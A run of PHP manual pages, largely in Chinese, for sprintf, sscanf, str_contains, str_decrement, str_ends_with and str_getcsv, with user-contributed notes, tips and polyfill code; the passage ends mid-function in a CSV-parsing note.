And continuing on the same theme of a key-based sprintf...

I'm roughly (I can see a couple cases where it comes out wierd) copying the syntax of Python's string formatting with a dictionary. The improvement over the several past attempts is that this one still respects all of the formating options, as you can see in my example.

And the error handling is really crappy (just an echo). I just threw this together so do with it what you will. =]

<?php

function sprintf_array($string, $array)
{
    $keys    = array_keys($array);
    $keysmap = array_flip($keys);
    $values  = array_values($array);

    while (preg_match('/%\(([a-zA-Z0-9_ -]+)\)/', $string, $m))
    {
        if (!isset($keysmap[$m[1]]))
        {
            echo "No key $m[1]\n";
            return false;
        }

        $string = str_replace($m[0], '%' . ($keysmap[$m[1]] + 1) . '$', $string);
    }

    array_unshift($values, $string);
    var_dump($values);
    return call_user_func_array('sprintf', $values);
}

echo sprintf_array('4 digit padded number: %(num)04d ', array('num' => 42));

?>

Cheers!
scott dot gardner at mac dot com 10-Jan-2008 01:22
In the last example of Example#6, there is an error regarding the output.

printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

This outputs right-justified.

In order to output left-justified:

printf("[%-10.10s]\n", $t);
ian dot w dot davis at gmail dot com 30-May-2005 07:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss 02-May-2005 12:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
jrpozo at conclase dot net 21-Jan-2005 07:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
php at sharpdreams dot com 08-May-2004 02:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
no dot email dot address at example dot com 16-Sep-2002 06:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com 10-Sep-2002 11:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au 03-Jul-2002 02:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);


根据指定格式解析输入的字符

  • ? sprintf
  • str_contains ?
  • PHP Manual
  • 字符串 函数
  • 根据指定格式解析输入的字符

sscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

sscanf — 根据指定格式解析输入的字符

说明

sscanf(string $string, string $format, mixed &...$vars): array|int|null

sscanf() 函数输入类似 printf()。sscanf() 读取字符串 string，然后根据指定格式 format 解析。

指定的格式字符串中的任意空白匹配输入字符串的任意空白。也就是说即使是格式字符串中的一个制表符（\t）也能匹配输入字符串中的单个空白字符。

参数

string

将要被解析的 string。

format

string 的格式解释，在 sprintf() 的文档中进行了描述，但有以下区别：

  • 函数不支持区域设置。
  • 不支持 F、g、G 和 b。
  • D 代表十进制数字。
  • i stands for integer with base detection.
  • n 代表到目前为止处理的字符数。
  • s 在任何空白字符处停止阅读。
  • * 代替 argnum$ 禁止分配此转换规范。

vars

可选参数将以引用方式传入，它们的值将被设置为解析值。

返回值

如果仅传入了两个参数给这个函数，解析后的值作为数组返回。否则，如果传入可选参数，函数将返回赋值数量。可选参数必须通过引用传递。

如果 format 要求的子字符串比 string 内可用的子字符串多，则返回 null。

示例

Example #1 sscanf() 示例

<?php
// 获取序列号
list($serial) = sscanf("SN/2350001", "SN/%d");
// 和生产日期
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Item $serial was manufactured on: $year-" . substr($month, 0, 3) . "-$day\n";
?>

如果传递可选参数，函数将返回赋值的数量。

Example #2 sscanf()——使用可选参数

<?php
// 获取作者信息并生成 DocBook 实体
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
<firstname>$first</firstname>
<surname>$last</surname>
</author>\n";
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

Philo 28-Jul-2020 10:13
It should also be noted that when used with sscanf both x and X produce the same output (i.e. they are case-insensitive).

<?php
var_dump(sscanf("0xdead|0XDEAD", "%X|%x")); // works
Victor 23-Sep-2012 10:24
One thing to note: unlike C/C++, a variable %n is assigned to will be counted in the return value.
nmmm at nmmm dot nu 23-Nov-2011 05:11
This is more like C/C++ example, but works on PHP too.

<?php
$qs = "index.php?id=34&name=john";

print_r(   sscanf($qs, "%[^?]?%[^?]")   );

$qs = "id=34&name=john";

print_r(   sscanf($qs, "id=%[^&]&name=%[^&]")   );
?>
Igor Feghali 22-Oct-2008 10:56
parses an input string with fixed field sizes that contains data with spaces:

<?php
$result = sscanf("  Vendor: My Vendo Model: Super Model Foo  Rev: 1234",
                 '  Vendor: %8[ -~] Model: %16[ -~] Rev: %4c',
                 $vendor, $model, $rev);
?>

$vendor => My Vendo
$model => Super Model Foo
$rev => 1234
leg 13-Aug-2008 09:20
@mikewillitsgmail.com:

<?php

$out = sscanf('file_name.gif', 'file_%[^.].%s', $fpart1, $fpart2);

echo '<pre>';
print_r($fpart1);
echo '<hr />';
print_r($fpart2);
echo '</pre>';

?>

output:

name
-
gif

The "^." part avoid the first searched string to be too greedy. But doesn't protect you against an "file_test.name.gif" input, with bad results!
mikewillitsgmail.com 15-Mar-2008 11:13
FYI - if you are trying to scan from a string which contains a filename with extension. For instance:

<?php

$out = sscanf('file_name.gif', 'file_%s.%s', $fpart1, $fpart2);

?>

The scanned string in the $fpart1 parameter turns out to be 'name.gif' and $fpart2 will be NULL.

To get around this you can simply replace the "." with a space or another "white-space like" string sequence.

I didn't see any other comments on regarding string literals which contain a '.' so I thought I'd mention it. The subtle characteristics of having "white-space delimited" content I think can be a source of usage contention. Obviously, another way to go is regular expressions in this instance, but for newer users this may be helpful.

Just in case someone else spent 10 minutes of frustration like I did. This was seen on PHP Version 5.2.3-1ubuntu6.3.

Searching the bug reports shows another users misunderstanding: http://bugs.php.net/bug.php?id=7793
anonymouse 01-Aug-2006 09:38
I've seen several examples of people using brackets to define what look like regexp character classes. In my limited testing I don't think they are genuine character classes but they seem to be similar.

My task was to use sscanf() to parse an array of strings with the format:

number SPACE string_which_may_also_have_spaces

The normal %s conversion command treats spaces as some kind of delimiter. So, you can get the strings if you know beforehand how many "words" there will be. But, my input was variable.

Here's what I came up with: (note use of the dollar-sign 'end of string' hidden delimiter)

sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
skeltoac 22-Mar-2006 08:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
    $log['ip'],
    $log['client'],
    $log['user'],
    $log['time'],
    $log['method'],
    $log['uri'],
    $log['prot'],
    $log['code'],
    $log['bytes'],
    $log['ref'],
    $log['agent']
);
?>
Brainiac361 22-Aug-2005 01:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{ 14-Jul-2005 03:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                                }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen 16-Jun-2005 01:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
    return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com 06-Feb-2005 06:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
marcus at synchromedia dot co dot uk 24-Mar-2003 09:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

    list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com 19-Nov-2002 07:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
        if (empty($phone)) return "";
        sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
        $out = @$area ? "($area) " : "";
        $out .= $prefix . '-' . $exchange;
        return $out;
}
jon at fuck dot org 13-Sep-2002 11:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
elgabos at umail dot ucsb dot edu 27-Feb-2002 03:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com 14-Oct-2001 03:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
clcollie at mindspring dot com 12-Sep-2000 04:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.


确定字符串是否包含指定子串

  • ? sscanf
  • str_decrement ?
  • PHP Manual
  • 字符串 函数
  • 确定字符串是否包含指定子串

str_contains

(PHP 8)

str_contains — 确定字符串是否包含指定子串

说明

str_contains(string $haystack, string $needle): bool

执行大小写区分的检查，表明 needle 是否包含在 haystack 中。

参数

haystack

在其中搜索的字符串。

needle

要在 haystack 中搜索的子串。

返回值

如果 needle 在 haystack 中，返回 true，否则返回 false。

示例

Example #1 使用空字符串 ''

<?php
if (str_contains('abc', '')) {
echo "Checking the existence of the empty string will always return true";
}
?>

以上示例会输出：

Checking the existence of the empty string will always return true

Example #2 展示大小写区分

<?php
$string = 'The lazy fox jumped over the fence';

if (str_contains($string, 'lazy')) {
echo "The string 'lazy' was found in the string\n";
}

if (str_contains($string, 'Lazy')) {
echo 'The string "Lazy" was found in the string';
} else {
echo '"Lazy" was not found because the case does not match';
}

?>

以上示例会输出：

The string 'lazy' was found in the string
"Lazy" was not found because the case does not match

注释

Note: 此函数可安全用于二进制对象。

参见

  • str_ends_with() - 检查字符串是否以指定子串结尾
  • str_starts_with() - 检查字符串是否以指定子串开头
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • substr() - 返回字符串的子串
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

Ancyker 24-Aug-2023 01:22
This function doesn't always produce the expected results if you have a needle that isn't UTF-8 but are looking for it in a UTF-8 string. This won't be a concern for most people, but if you are mixing old and new data, especially if reading data from a file, it could be an issue.

Here's a "mb_*"-esque function that searches the string:

<?php
function mb_str_contains(string $haystack, string $needle, $encoding = null) {
    return $needle === '' || mb_substr_count($haystack, $needle, (empty($encoding) ? mb_internal_encoding() : $encoding)) > 0;
}
?>

I used mb_substr_count() instead of mb_strpos() because mb_strpos() will still match partial characters as it's doing a binary search.

We can compare str_contains to the above suggested function:

<?php
// Some Unicode Kanji (漢字はユニコード)
$string = hex2bin('e6bca2e5ad97e381afe383a6e3838be382b3e383bce38389');

// Some Windows-1252 characters (??)
$contains = hex2bin('e383');
// ^ file_get_contents() produces the same data when it is saved as "ANSI" in Notepad on Windows, so this is not that unrealistic. The only reason to use hex2bin here is to mix character sets without having to use multiple files.

// A character that actually exists in our string. (ー)
$contains2 = hex2bin('e383bc');

echo " = Haystack: ".var_export($string, true)."\r\n";
echo " = Needles:\r\n";
echo "   + Windows-1252 characters\r\n";
echo "     - Results:\r\n";
echo "       >    str_contains: ".var_export(str_contains($string, $contains), true)."\r\n";
echo "       > mb_str_contains: ".var_export(mb_str_contains($string, $contains), true)."\r\n";
echo "   + Valid UTF-8 character\r\n";
echo "     - Results:\r\n";
echo "       >    str_contains: ".var_export(str_contains($string, $contains2), true)."\r\n";
echo "       > mb_str_contains: ".var_export(mb_str_contains($string, $contains2), true)."\r\n";
echo "\r\n";
?>

Output:

 = Haystack: '漢字はユニコード'
 = Needles:
   + Windows-1252 characters
     - Results:
       >    str_contains: true
       > mb_str_contains: false
   + Valid UTF-8 character
     - Results:
       >    str_contains: true
       > mb_str_contains: true

It's not completely foolproof, however. For instance, ??‰ in Windows-1252 will match ド from the above string. So it's still best to convert the encoding of the parameters to be the same first. But, if the character set isn't known/can't be detected and you have no choice but to deal with dirty data, this is probably the simplest solution.
harl at gmail dot com 12-Aug-2023 11:23
A couple of functions for checking if a string contains any of the strings in an array, or all of the strings in an array:

<?php
function str_contains_any(string $haystack, array $needles): bool
{
    return array_reduce($needles, fn($a, $n) => $a || str_contains($haystack, $n), false);
}

function str_contains_all(string $haystack, array $needles): bool
{
    return array_reduce($needles, fn($a, $n) => $a && str_contains($haystack, $n), true);
}
?>

str_contains_all() will return true if $needles is an empty array. If you think that's wrong, show me a string in $needles that DOESN'T appear in the $haystack, and then look up "vacuous truth".

(By swapping haystacks and needles in the body of these functions you can create versions that check if a needle appears in any/all of an array of haystacks.)
drupalista dot com dot br at gmail dot com 23-Apr-2022 08:36
private function contains(array $needles, string $type, string $haystack = NULL, string $filename = NULL) : bool {
        if (empty($needles)) return FALSE;
        if ($filename)
            $haystack = file_get_contents($filename);

        $now_what = function(string $needle) use ($haystack, $type) : array {
            $has_needle = str_contains($haystack, $needle);
            if ($type === 'any' && $has_needle)
                return ['done' => TRUE, 'return' => TRUE];

            if ($type === 'all' && !$has_needle)
                return ['done' => TRUE, 'return' => FALSE];

            return ['done' => FALSE];
        };

        foreach ($needles as $needle) {
            $check = $now_what($needle);
            if ($check['done'])
                return $check['return'];
        }
        return TRUE;
    }

    function containsAny(array $needles, string $haystack = NULL, string $filename = NULL) : bool {
        return self::contains($needles, 'any', $haystack, $filename);
    }

    function containsAll(array $needles, string $haystack = NULL, string $filename = NULL) : bool {
        return self::contains($needles, 'all', $haystack, $filename);
    }
aisunny7 dot xy at gmail dot com 27-Jan-2022 03:45
The polyfill that based on original work from the PHP Laravel framework had a different behavior;

when the $needle is `""` or `null`:
php8's will return `true`;
but, laravel'str_contains will return `false`;

when php8.1, null is deprecated, You can use `$needle ?: ""`;
AuxData 22-Nov-2021 12:28
Until PHP 8 was released, many-a-programmer were writing our own contain() functions. Mine also handles needles with logical ORs (set to '||').
Here it is.

function contains($haystack, $needle, $offset){
    $OR = '||';
    $result = false;

    $ORpos = strpos($needle, $OR, 0);
    if($ORpos !== false){ //ORs exist in the needle string
        $needle_arr = explode($OR, $needle);
        for($i=0; $i < count($needle_arr); $i++){
            $pos = strpos($haystack, trim($needle_arr[$i]), $offset);
            if($pos !== false){
                $result = true;
                break;
            }
        }
    } else {
        $pos = strpos($haystack, trim($needle), $offset);
        if($pos !== false){
          $result = true;
        }
    }
  return($result);
}

Call: contains("Apple Orange Banana", "Apple || Walnut", 0);
Returns: true
juliyvchirkov at gmail dot com 26-Jul-2021 11:30
<?php

// Polyfill for PHP 4 - PHP 7, safe to utilize with PHP 8

if (!function_exists('str_contains')) {
    function str_contains (string $haystack, string $needle)
    {
        return empty($needle) || strpos($haystack, $needle) !== false;
    }
}
scm6079 02-Apr-2021 02:11
For earlier versions of PHP, you can polyfill the str_contains function using the following snippet:

<?php
// based on original work from the PHP Laravel framework
if (!function_exists('str_contains')) {
    function str_contains($haystack, $needle) {
        return $needle !== '' && mb_strpos($haystack, $needle) !== false;
    }
}
?>
olivertasche+nospam at gmail dot com 23-Mar-2021 05:03
The code from "me at daz dot co dot uk" will not work if the word is
- at the start of the string
- at the end of the string
- at the end of a sentence (like "the ox." or "is that an ox?")
- in quotes
- and so on.

You should explode the string by whitespace, punctations, ... and check if the resulting array contains your word OR try to test with a RegEx like this:
(^|[\s\W])+word($|[\s\W])+

Disclaimer: The RegEx may need some tweaks
kadenskinner at gmail dot com 08-Mar-2021 02:47
<?php

$needle = '@';
$haystack = 'user@example.com';

if (!str_contains($haystack, $needle)){
echo 'There is not an @ in haystack';
}else{
echo 'There is an @ in haystack';
}


Decrement an alphanumeric string

  • ? str_contains
  • str_ends_with ?
  • PHP Manual
  • 字符串 函数
  • Decrement an alphanumeric string

str_decrement

(PHP 8 >= 8.3.0)

str_decrement — Decrement an alphanumeric string

说明

str_decrement(string $string): string

Returns the decremented alphanumeric ASCII string.

参数

string

The input string.

返回值

Returns the decremented alphanumeric ASCII string.

错误／异常

A ValueError is thrown if string is empty.

A ValueError is thrown if string is not an alphanumeric ASCII string.

A ValueError is thrown if string cannot be decremented. For example, "A" or "0".

示例

Example #1 Basic str_decrement() example

<?php
$str = 'ABC';
var_dump(str_decrement($str));
?>

以上示例会输出：

string(3) "ABB"

Example #2 str_decrement() example with a carry

<?php
$str = 'ZA';
var_dump(str_decrement($str));

$str = 'AA';
var_dump(str_decrement($str));
?>

以上示例会输出：

string(2) "YZ"
string(1) "Z"

参见

  • str_increment() - Increment an alphanumeric string

User Contributed Notes

There are no user contributed notes for this page.


检查字符串是否以指定子串结尾

  • ? str_decrement
  • str_getcsv ?
  • PHP Manual
  • 字符串 函数
  • 检查字符串是否以指定子串结尾

str_ends_with

(PHP 8)

str_ends_with — 检查字符串是否以指定子串结尾

说明

str_ends_with(string $haystack, string $needle): bool

执行大小写区分的检查，表明 haystack 是否以 needle 结尾。

参数

haystack

在其中搜索的字符串。

needle

要在 haystack 中搜索的子串。

返回值

如果 haystack 以 needle 结尾，返回 true，否则返回 false。

示例

Example #1 使用空字符串 ''

<?php
if (str_ends_with('abc', '')) {
echo "All strings end with the empty string";
}
?>

以上示例会输出：

All strings end with the empty string

Example #2 展示大小写区分

<?php
$string = 'The lazy fox jumped over the fence';

if (str_ends_with($string, 'fence')) {
echo "The string ends with 'fence'\n";
}

if (str_ends_with($string, 'Fence')) {
echo 'The string ends with "Fence"';
} else {
echo '"Fence" was not found because the case does not match';
}

?>

以上示例会输出：

The string ends with 'fence'
"Fence" was not found because the case does not match

注释

Note: 此函数可安全用于二进制对象。

参见

  • str_contains() - 确定字符串是否包含指定子串
  • str_starts_with() - 检查字符串是否以指定子串开头
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • substr() - 返回字符串的子串
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

Reinder 13-Jun-2023 10:30
In PHP7 you may want to use:

if (!function_exists('str_ends_with')) {
  function str_ends_with($str, $end) {
    return (@substr_compare($str, $end, -strlen($end))==0);
  }
}

AFAIK that is binary safe and doesn't need additional checks.
javalc6 at gmail dot com 12-Jun-2023 10:44
In case you are using an older version of PHP, you can define and use the following function:

function endsWith($haystack, $needle) {
    $length = strlen($needle);
    return $length > 0 ? substr($haystack, -$length) === $needle : true;
}
divinity76 at gmail dot com 01-Nov-2021 03:49
this is the fastest php7-implementation i can think of, it should be faster than javalc6 and Reinder's implementations, as this one doesn't create new strings (but theirs does)

<?php
if (! function_exists('str_ends_with')) {
    function str_ends_with(string $haystack, string $needle): bool
    {
        $needle_len = strlen($needle);
        return ($needle_len === 0 || 0 === substr_compare($haystack, $needle, - $needle_len));
    }
}
?>


解析 CSV 字符串为一个数组

  • ? str_ends_with
  • str_increment ?
  • PHP Manual
  • 字符串 函数
  • 解析 CSV 字符串为一个数组

str_getcsv

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

str_getcsv — 解析 CSV 字符串为一个数组

说明

str_getcsv(
string $string,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): array

以 CSV 字段格式解析字符串输入，并返回包含读取字段的数组。

Note:

此函数考虑区域设置。如果 LC_CTYPE 是类似 en_US.UTF-8 的值，此函数将错误的读取单字节编码的字符串。

参数

string

待解析的字符串。

separator

设定字段界定符（仅一个单字节字符）。

enclosure

设定字段包裹字符（仅一个单字节字符）。

escape

设置转义字符（最多一个单字节字符）。默认为反斜线（\）。空字符串（""）禁用专有转义机制。

Note: Usually an enclosure character is escaped inside a field by doubling it; however, the escape character can be used as an alternative. So for the default parameter values "" and \" have the same meaning. Other than allowing to escape the enclosure character the escape character has no special meaning; it isn't even meant to escape itself.

返回值

返回一个包含读取到的字段的索引数组。

更新日志

版本 | 说明
7.4.0 | escape 现在将空字符串视为禁用专有转义机制的信号。以前视为默认参数值。

示例

Example #1 str_getcsv() 示例

<?php

$string = 'PHP,Java,Python,Kotlin,Swift';
$data = str_getcsv($string);

var_dump($data);
?>

以上示例会输出：

array(5) {
  [0]=>
  string(3) "PHP"
  [1]=>
  string(4) "Java"
  [2]=>
  string(6) "Python"
  [3]=>
  string(6) "Kotlin"
  [4]=>
  string(5) "Swift"
}

Example #2 处理空字符串的 str_getcsv() 示例

Caution

对于空字符串，此函数返回值 [null] 从而代替空数组。

<?php

$string = '';
$data = str_getcsv($string);

var_dump($data);
?>

以上示例会输出：

array(1) {
  [0]=>
  NULL
}

参见

  • fgetcsv() - 从文件指针中读入一行并解析 CSV 字段

User Contributed Notes

hans at loltek dot net 18-Oct-2023 10:17
old MacOS (up to ~2001) and old Office For MacOS (up to 2007? I think) use carriage-return for newlines,
Microsoft Windows use carriage-return+line-feed for newlines,
Unix (Linux and modern MacOS) use line-feeds,
Some systems use BOM/byte-order-masks just to say they use UTF-8, i've even encountered one-BOM-per-CSV-row!

For a csv-file parser handling all the above cases, I wrote:

<?php
function parse_csv(string $csv, string $separator = ","): array
{
    $csv = strtr(
        $csv,
        [
            "\xEF\xBB\xBF" => "", // remove UTF-8 byte order masks, if present
            "\r\n" => "\n", // Windows CrLf=> Unix Lf
            "\r" => "\n" // old-MacOS Cr => Unix Lf
            // (both modern MacOS and Linux use Lf .. Windows is the only outlier)
        ]
    );
    $lines = explode("\n", $csv);
    $keys = str_getcsv(array_shift($lines), $separator);
    $ret = array();
    foreach ($lines as $lineno => $line) {
        if (strlen($line) < 1) {
            // ... probably malformed csv, but we'll allow it
            continue;
        }
        $parsed = str_getcsv($line, $separator);
        if (count($parsed) !== count($keys)) {
            throw new \RuntimeException("error on csv line #{$lineno}: count mismatch:" . count($parsed) . ' !== ' . count($keys) . ": " . var_export([
                'error' => 'count mismatch',
                'keys' => $keys,
                'parsed' => $parsed,
                'line' => $line
            ], true));
        }
        $ret[] = array_combine($keys, $parsed);
    }
    return $ret;
}
?>
manngo 15-Oct-2023 06:24
I can't see this mentioned in the description, but it appears that the fields will be trimmed slightly of trailing line breaks.

In the following example:

<?php
    $string = "\nPHP\r\n,Java\nScript\r\n\r\n,Fortran\n,Cobol\n\n,\nSwift\r\n\r\n\r\n";
    $data = str_getcsv($string);
    foreach($data as $d) print "[$d]";

/*  Result:
    ================================================
    [
    PHP][Java
    Script
    ][Fortran][Cobol
    ][
    Swift
    ]
    ================================================ */
?>

You'll see:

-    a leading line break is retained; a line break in the rest of the field is also retained
-    one trailing line break is removed; any more are retained
-    a line break at the end of the string is also removed; this means that two trailing line breaks at the end are removed
-    a line break can be a unix/macos line break (\n) or a windows line beak (\r\n)

Tested on my Macintosh, so I'm not sure how universal this is.

Among other things, it means you can read the file with the file() function without having to include the FILE_IGNORE_NEW_LINES flag.
Wade Rossmann 26-Oct-2022 09:34
For completeness, here is a userspace str_putcsv() that is fully compatible with fgetcsv() and fputcsv()'s arguments. Namely $escape and $eol, which all others seem to be omitting.

<?php

function str_putcsv(
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"
) {
    return implode($separator,
        array_map(
            function($a)use($enclosure, $escape) {
                $type = gettype($a);
                switch($type) {
                    case 'integer': return sprintf('%d', $a);
                    case 'double':  return rtrim(sprintf('%0.'.ini_get('precision').'f', $a), '0');
                    case 'boolean': return ( $a ? 'true' : 'false' );
                    case 'NULL':    return '';
                    case 'string':
                        return sprintf('"%s"', str_replace(
                            [$escape, $enclosure],
                            [$escape.$escape, $escape.$enclosure],
                            $a
                        ));
                    default: throw new TypeError("Cannot stringify type: $type");
                }
            },
            $fields
        )
    ) . $eol;
}
ivijan dot stefan at gmail dot com 18-Mar-2021 10:43
Imagine a situation where you need a function that works with both URL and comma delimited text.

This is exactly the function that works like that using str_getcsv(). Just simply insert a CSV URL or comma separated text and it work nicely.

<?php
function parse_csv( $filename_or_text, $delimiter=',', $enclosure='"', $linebreak="\n" )
{
    $return = array();

    if(false !== ($csv = (filter_var($filename_or_text, FILTER_VALIDATE_URL) ? file_get_contents($filename_or_text) : $filename_or_text)))
    {
        $csv = trim($csv);
        $csv = mb_convert_encoding($csv, 'UTF-16LE');

        foreach(str_getcsv($csv, $linebreak, $enclosure) as $row){
            $col = str_getcsv($row, $delimiter, $enclosure);
            $col = array_map('trim', $col);
            $return[] = $col;
        }
    }
    else
    {
        throw new \Exception('Can not open the file.');
        $return = false;
    }

    return $return;
}
?>
txxllm at hotmail dot com 25-Jan-2021 06:05
Sometimes the enclosure parameter of the str_getcsv function doesn't work, so I wrote a function that is equivalent to the function

<?php
/**
     * @param string $input
     * @param string $delimiter
     * @param string $enclosure
     * @param string $escape
     * @return array
     * @author TXX
     * @date   2021/1/25 15:03
     */
    function my_str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\') {
        $output = array();

        if (empty($input) || !is_string($input)) {
            return $output;
        }

        if (preg_match("/". $escape . $enclosure ."/", $input)) {
            while ($strlen = strlen($input)) {
                $pos_delimiter       = strpos($input, $delimiter);    //分隔符出现位置
                $pos_enclosure_start = strpos($input, $enclosure);    //封闭符-开始出现位置

                //有封闭符并封闭符在分隔符之前
                if (is_int($pos_delimiter) && is_int($pos_enclosure_start) && $pos_enclosure_start < $pos_delimiter) {
                    $pos_enclosure_start += 1;
                    $enclosed_str = substr($input, $pos_enclosure_start);    //封闭字符串-开始
                    $pos_enclosure_end = strpos($enclosed_str, $enclosure);    //封闭符-结尾封闭字符串-开始中出现位置
